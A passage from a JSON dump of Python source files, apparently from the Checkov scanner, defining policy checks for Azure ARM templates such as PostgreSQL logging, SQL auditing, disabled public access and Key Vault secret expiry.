    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass PostgreSQLServerConnectionThrottlingEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers/configurations\n        name = \"Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server\"\n        id = \"CKV_AZURE_32\"\n        supported_resources = ('Microsoft.DBforPostgreSQL/servers/configurations', 'configurations')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"type\" in conf:\n            if conf[\"type\"] == \"Microsoft.DBforPostgreSQL/servers/configurations\":\n                if \"name\" in conf and conf[\"name\"] == \"connection_throttling\":\n                    if \"properties\" in conf:\n                        if \"value\" in conf[\"properties\"] and \\\n                                conf[\"properties\"][\"value\"].lower() == \"on\":\n                            return CheckResult.PASSED\n                    self.evaluated_keys = ['properties', 'properties/value']\n                    return CheckResult.FAILED\n            elif conf[\"type\"] == \"configurations\":\n                if \"name\" in conf and conf[\"name\"] == \"connection_throttling\":\n                    if \"parent_type\" in conf:\n                        if conf[\"parent_type\"] == \"Microsoft.DBforPostgreSQL/servers\":\n                            if \"properties\" in conf:\n                                if \"value\" in conf[\"properties\"] and \\\n                                        conf[\"properties\"][\"value\"].lower() == \"on\":\n                                    return CheckResult.PASSED\n                    self.evaluated_keys = ['properties', 'properties/value']\n                    return CheckResult.FAILED\n        else:\n            self.evaluated_keys = [\"properties\"]\n            return CheckResult.FAILED\n\n        # If name not connection_throttling - don't report (neither pass nor fail)\n        return CheckResult.UNKNOWN\n\n\ncheck = PostgreSQLServerConnectionThrottlingEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass PostgreSQLServerLogCheckpointsEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers/configurations\n        # https://docs.microsoft.com/en-us/rest/api/postgresql/configurations/listbyserver#examples\n        name = \"Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server\"\n        id = \"CKV_AZURE_30\"\n        supported_resources = ('Microsoft.DBforPostgreSQL/servers/configurations', 'configurations')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"properties\"]\n        if \"type\" in conf:\n            if conf[\"type\"] == \"Microsoft.DBforPostgreSQL/servers/configurations\":\n                if \"name\" in conf and conf[\"name\"] == \"log_checkpoints\":\n                    if \"properties\" in conf:\n                        if \"value\" in conf[\"properties\"] and \\\n                                conf[\"properties\"][\"value\"].lower() == \"on\":\n                            return CheckResult.PASSED\n                    self.evaluated_keys.append(\"properties/value\")\n                    return CheckResult.FAILED\n            elif conf[\"type\"] == \"configurations\":\n                if \"name\" in conf and conf[\"name\"] == \"log_checkpoints\":\n                    if \"parent_type\" in conf:\n                        if conf[\"parent_type\"] == \"Microsoft.DBforPostgreSQL/servers\":\n                            if \"properties\" in conf:\n                                if \"value\" in conf[\"properties\"] and \\\n                                        conf[\"properties\"][\"value\"].lower() == \"on\":\n                                    return CheckResult.PASSED\n                    self.evaluated_keys.append(\"properties/value\")\n                    return CheckResult.FAILED\n        else:\n            return CheckResult.FAILED\n\n        # If name not connection_throttling - don't report (neither pass nor fail)\n        return CheckResult.UNKNOWN\n\n\ncheck = PostgreSQLServerLogCheckpointsEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass PostgreSQLServerLogConnectionsEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers/configurations\n        # https://docs.microsoft.com/en-us/rest/api/postgresql/configurations/listbyserver#examples\n        name = \"Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server\"\n        id = \"CKV_AZURE_31\"\n        supported_resources = ('Microsoft.DBforPostgreSQL/servers/configurations', 'configurations')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"type\" in conf:\n            if conf[\"type\"] == \"Microsoft.DBforPostgreSQL/servers/configurations\":\n                if \"name\" in conf and conf[\"name\"] == \"log_connections\":\n                    if \"properties\" in conf:\n                        if \"value\" in conf[\"properties\"] and \\\n                                conf[\"properties\"][\"value\"].lower() == \"on\":\n                            return CheckResult.PASSED\n                    return CheckResult.FAILED\n            elif conf[\"type\"] == \"configurations\":\n                if \"name\" in conf and conf[\"name\"] == \"log_connections\":\n                    if \"parent_type\" in conf:\n                        if conf[\"parent_type\"] == \"Microsoft.DBforPostgreSQL/servers\":\n                            if \"properties\" in conf:\n                                if \"value\" in conf[\"properties\"] and \\\n                                        conf[\"properties\"][\"value\"].lower() == \"on\":\n                                    return CheckResult.PASSED\n                    return CheckResult.FAILED\n        else:\n            return CheckResult.FAILED\n\n        # If name not connection_throttling - don't report (neither pass nor fail)\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"type\", \"name\", \"properties/value\"]\n\n\ncheck = PostgreSQLServerLogConnectionsEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/PostgreSQLServerPublicAccessDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PostgreSQLServerHasPublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that PostgreSQL server disables public network access\"\n        id = \"CKV_AZURE_68\"\n        supported_resources = ('Microsoft.DBforPostgreSQL/servers',)\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/publicNetworkAccess'\n\n    def get_expected_value(self) -> str:\n        return \"Disabled\"\n\n\ncheck = PostgreSQLServerHasPublicAccessDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/PostgreSQLServerSSLEnforcementEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass PostgreSQLServerSSLEnforcementEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server\"\n        id = \"CKV_AZURE_29\"\n        supported_resources = [\"Microsoft.DBforPostgreSQL/servers\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/sslEnforcement\"\n\n    def get_expected_value(self) -> Any:\n        return \"Enabled\"\n\n\ncheck = PostgreSQLServerSSLEnforcementEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/PostgressSQLGeoBackupEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PostgressSQLGeoBackupEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that PostgreSQL server enables geo-redundant backups\"\n        id = \"CKV_AZURE_102\"\n        supported_resources = ['Microsoft.DBforPostgreSQL/servers']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> Any:\n        return 'properties/storageProfile/geoRedundantBackup'\n\n    def get_expected_value(self) -> str:\n        return 'Enabled'\n\n\ncheck = PostgressSQLGeoBackupEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/PubsubSKUSLA.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass PubsubSKUSLA(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Web PubSub uses a SKU with an SLA\"\n        id = \"CKV_AZURE_175\"\n        supported_resources = (\"Microsoft.SignalRService/webPubSub\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def get_inspected_key(self) -> str:\n        return \"sku/name\"\n\n    def get_forbidden_values(self) -> Any:\n        return \"Free_F1\"\n\n\ncheck = PubsubSKUSLA()\n"
  },
  {
    "path": "checkov/arm/checks/resource/PubsubSpecifyIdentity.py",
    "content": "from typing import Any\n\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass PubsubSpecifyIdentity(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Web PubSub uses managed identities to access Azure resources\"\n        id = \"CKV_AZURE_176\"\n        supported_resources = [\"Microsoft.SignalRService/webPubSub\"]\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"identity/type\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = PubsubSpecifyIdentity()\n"
  },
  {
    "path": "checkov/arm/checks/resource/RedisCachePublicNetworkAccessEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RedisCachePublicNetworkAccessEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Cache for Redis disables public network access\"\n        id = \"CKV_AZURE_89\"\n        supported_resources = ('Microsoft.Cache/redis',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/publicNetworkAccess'\n\n    def get_expected_value(self) -> str:\n        return 'Disabled'\n\n\ncheck = RedisCachePublicNetworkAccessEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SQLDatabaseZoneRedundant.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SQLDatabaseZoneRedundant(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        This is a best practise which helps to:\n        - Improved High Availability: Zone redundancy ensures that your database is replicated\n          across Availability Zones within an Azure region. If one Availability Zone experiences an outage,\n          your database continues to operate from the other zones, minimizing downtime.\n        - Reduced Maintenance Downtime: Zone-redundant configurations often require\n          less planned maintenance downtime because updates and patches can be applied to\n          one zone at a time while the other zones continue to serve traffic.\n        - Improved Scalability: Zone-redundant configurations are designed to scale with your workload.\n          You can take advantage of features like Hyperscale to dynamically adjust resources based on\n          your database's performance needs.\n        - Improved SLA: Azure SQL Database zone-redundant configurations typically offer\n          a higher service-level agreement (SLA) for availability compared to non-zone-redundant configurations.\n\n        However, it's critical to note that:\n        Note that:\n        - Zone-redundant availability is available to databases in the\n          General Purpose, Premium, Business Critical and Hyperscale service tiers of the vCore purchasing model,\n          and not the Basic and Standard service tiers of the DTU-based purchasing model.\n        - This may not be required for:\n           - Databases that supports applications which doesn't a high maturity in terms of \"High Availability\"\n           - Databases that are very sensitive to network latency that may increase the transaction commit time,\n             and thus impact the performance of some OLTP workloads.\n        \"\"\"\n        name = \"Ensure the Azure SQL Database Namespace is zone redundant\"\n        id = \"CKV_AZURE_229\"\n        supported_resources = [\"Microsoft.Sql/servers/databases\",]\n        categories = [CheckCategories.BACKUP_AND_RECOVERY,]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/zoneRedundant\"\n\n\ncheck = SQLDatabaseZoneRedundant()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SQLServerAuditingEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2017-03-01-preview/servers/databases/auditingsettings\n\n\nclass SQLServerAuditingEnabled(BaseResourceCheck):\n    # this should be a graph check, due to the possible connection between\n    # Microsoft.Sql/servers -> Microsoft.Sql/servers/auditingSettings\n    # Microsoft.Sql/servers -> Microsoft.Sql/servers/databases/auditingSettings\n\n    def __init__(self) -> None:\n        name = \"Ensure that 'Auditing' is set to 'Enabled' for SQL servers\"\n        id = \"CKV_AZURE_23\"\n        supported_resources = (\"Microsoft.Sql/servers\", \"Microsoft.Sql/servers/databases\")\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        resources = conf.get(\"resources\")\n        if resources and isinstance(resources, list):\n            for resource in resources:\n                if resource.get(\"type\") in (\n                    \"auditingSettings\",\n                    \"Microsoft.Sql/servers/auditingSettings\",\n                    \"Microsoft.Sql/servers/databases/auditingSettings\",\n                ):\n                    properties = resource.get(\"properties\")\n                    if properties:\n                        state = properties.get(\"state\")\n                        if state and state.lower() == \"enabled\":\n                            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"resources\"]\n\n\ncheck = SQLServerAuditingEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SQLServerAuditingRetention90Days.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\n\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2017-03-01-preview/servers/databases/auditingsettings\n\n\nclass SQLServerAuditingRetention90Days(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers\"\n        id = \"CKV_AZURE_24\"\n        supported_resources = (\"Microsoft.Sql/servers\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"resources\"]\n        resources = conf.get(\"resources\") or []\n        for idx, resource in enumerate(force_list(resources)):\n            self.evaluated_keys = [\n                f\"resources/[{idx}]/type\",\n                f\"resources/[{idx}]/properties/state\",\n                f\"resources/[{idx}]/properties/retentionDays\",\n            ]\n            if resource.get(\"type\") in (\n                \"Microsoft.Sql/servers/databases/auditingSettings\",\n                'Microsoft.Sql/servers/auditingSettings',\n                \"auditingSettings\",\n            ):\n                return self.check_resource(resource)\n            elif resource.get(\"type\") in (\n                \"databases\"\n            ):\n                sub_resources = resource.get(\"resources\") or []\n                for sr in sub_resources:\n                    if sr.get(\"type\") == \"Microsoft.Sql/servers/databases/auditingPolicies\":\n                        return self.check_resource(sr)\n\n        return CheckResult.FAILED\n\n    @staticmethod\n    def check_resource(resource: Dict[str, Any]) -> CheckResult:\n        properties = resource.get(\"properties\")\n        if isinstance(properties, dict):\n            state = properties.get(\"state\")\n            if isinstance(state, str) and state.lower() == \"enabled\":\n                retention = properties.get(\"retentionDays\")\n                if isinstance(retention, int) and retention >= 90:\n                    return CheckResult.PASSED\n                if isinstance(retention, str):\n                    try:\n                        if int(retention) >= 90:\n                            return CheckResult.PASSED\n                    except ValueError:  # not a valid number\n                        return CheckResult.FAILED\n        return CheckResult.FAILED\n\n\ncheck = SQLServerAuditingRetention90Days()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SQLServerEmailAlertsEnabled.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\n\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2017-03-01-preview/servers/securityalertpolicies\n\n\nclass SQLServerEmailAlertsEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that 'Send Alerts To' is enabled for MSSQL servers\"\n        id = \"CKV_AZURE_26\"\n        supported_resources = (\"Microsoft.Sql/servers/databases\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"resources\"]\n        resources = conf.get(\"resources\") or []\n        for idx, resource in enumerate(force_list(resources)):\n            self.evaluated_keys = [\n                f\"resources/[{idx}]/type\",\n                f\"resources/[{idx}]/properties/state\",\n                f\"resources/[{idx}]/properties/emailAddresses\",\n            ]\n            if resource.get(\"type\") in (\n                \"Microsoft.Sql/servers/databases/securityAlertPolicies\",\n                \"securityAlertPolicies\",\n            ):\n                properties = resource.get(\"properties\")\n                if isinstance(properties, dict):\n                    state = properties.get(\"state\")\n                    if isinstance(state, str) and state.lower() == \"enabled\":\n                        if properties.get(\"emailAddresses\"):\n                            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = SQLServerEmailAlertsEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SQLServerEmailAlertsToAdminsEnabled.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\n\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2017-03-01-preview/servers/securityalertpolicies\n\n\nclass SQLServerEmailAlertsToAdminsEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers\"\n        id = \"CKV_AZURE_27\"\n        supported_resources = [\"Microsoft.Sql/servers/databases\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"resources\"]\n        resources = conf.get(\"resources\") or []\n        for idx, resource in enumerate(force_list(resources)):\n            self.evaluated_keys = [\n                f\"resources/[{idx}]/type\",\n                f\"resources/[{idx}]/properties/state\",\n                f\"resources/[{idx}]/properties/emailAccountAdmins\",\n            ]\n            if resource.get(\"type\") in (\n                \"Microsoft.Sql/servers/databases/securityAlertPolicies\",\n                \"securityAlertPolicies\",\n            ):\n                properties = resource.get(\"properties\")\n                if isinstance(properties, dict):\n                    state = properties.get(\"state\")\n                    if isinstance(state, str) and state.lower() == \"enabled\":\n                        email_admins = properties.get(\"emailAccountAdmins\")\n                        if email_admins:\n                            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = SQLServerEmailAlertsToAdminsEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SQLServerHasPublicAccessDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SQLServerHasPublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that SQL server disables public network access\"\n        id = \"CKV_AZURE_113\"\n        supported_resources = [\"Microsoft.Sql/servers\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/publicNetworkAccess'\n\n    def get_expected_value(self) -> str:\n        return \"Disabled\"\n\n\ncheck = SQLServerHasPublicAccessDisabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SQLServerNoPublicAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass SQLServerNoPublicAccess(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2014-04-01/servers/firewallrules\n        name = \"Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)\"\n        id = \"CKV_AZURE_11\"\n        supported_resources = (\"Microsoft.Sql/servers\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n        # API Version 2015-05-01-preview and 2014-04-01\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        resources = conf.get(\"resources\")\n        if resources and isinstance(resources, list):\n            self.evaluated_keys = [\"resources\"]\n            for idx, resource in enumerate(resources):\n                self.evaluated_keys = [f\"resources/[{idx}]/type\", f\"resources/[{idx}]/properties/startIpAddress\",\n                                       f\"resources/[{idx}]/properties/endIpAddress\"]\n                resource_type = resource.get(\"type\")\n                if resource_type in (\"Microsoft.Sql/servers/firewallRules\", \"firewallRules\", \"firewallrules\"):\n                    if \"properties\" in resource:\n                        if (\n                            \"startIpAddress\" in resource[\"properties\"]\n                            and resource[\"properties\"][\"startIpAddress\"] in [\"0.0.0.0\", \"0.0.0.0/0\"]  # nosec  # false positive\n                            and \"endIpAddress\" in resource[\"properties\"]\n                            and resource[\"properties\"][\"endIpAddress\"] == \"255.255.255.255\"\n                        ):\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = SQLServerNoPublicAccess()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SQLServerThreatDetectionTypes.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2017-03-01-preview/servers/securityalertpolicies\n\n\nclass SQLServerThreatDetectionTypes(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that 'Threat Detection types' is set to 'All'\"\n        id = \"CKV_AZURE_25\"\n        supported_resources = (\"Microsoft.Sql/servers/databases\",)  # 'Microsoft.Sql/servers'\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        resources = conf.get(\"resources\")\n        if isinstance(resources, list):\n            self.evaluated_keys = [\"resources\"]\n            for resource in resources:\n                if \"type\" in resource:\n                    if resource[\"type\"] in (\n                        \"Microsoft.Sql/servers/databases/securityAlertPolicies\",\n                        \"securityAlertPolicies\",\n                    ):\n                        properties = resource.get(\"properties\")\n                        if isinstance(properties, dict):\n                            if \"state\" in properties and properties[\"state\"].lower() == \"enabled\":\n                                if not properties.get(\"disabledAlerts\"):\n                                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = SQLServerThreatDetectionTypes()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SQLServerUsesADAuth.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass SQLServerUsesADAuth(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        I think that this check is really, ensure that only AD auth is used (not user/pass)\n        \"\"\"\n\n        name = \"Ensure Azure AD authentication is enabled for Azure SQL (MSSQL)\"\n        id = \"CKV2_AZURE_27\"\n        supported_resources = [\"Microsoft.Sql/servers\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/administratorLogin'\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [ANY_VALUE]\n\n\ncheck = SQLServerUsesADAuth()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SecretContentType.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SecretContentType(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = 'Ensure that key vault secrets have \"content_type\" set'\n        id = \"CKV_AZURE_114\"\n        supported_resources = (\"Microsoft.KeyVault/vaults/secrets\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/contentType\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = SecretContentType()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SecretExpirationDate.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass SecretExpirationDate(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.keyvault/vaults/secrets\n        name = \"Ensure that the expiration date is set on all secrets\"\n        id = \"CKV_AZURE_41\"\n        supported_resources = ('Microsoft.KeyVault/vaults/secrets',)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            self.evaluated_keys = ['properties']\n            if \"attributes\" in conf[\"properties\"]:\n                self.evaluated_keys = ['properties/attributes']\n                if \"exp\" in conf[\"properties\"][\"attributes\"]:\n                    if conf[\"properties\"][\"attributes\"][\"exp\"]:\n                        return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = SecretExpirationDate()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SecurityCenterContactEmailAlert.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass SecurityCenterContactEmailAlert(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.security/securitycontacts\n        name = \"Ensure that 'Send email notification for high severity alerts' is set to 'On'\"\n        id = \"CKV_AZURE_21\"\n        supported_resources = ('Microsoft.Security/securityContacts',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            if \"alertNotifications\" in conf[\"properties\"]:\n                if str(conf[\"properties\"][\"alertNotifications\"]).lower() == \"on\":\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties', 'properties/alertNotifications']\n\n\ncheck = SecurityCenterContactEmailAlert()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SecurityCenterContactEmailAlertAdmins.py",
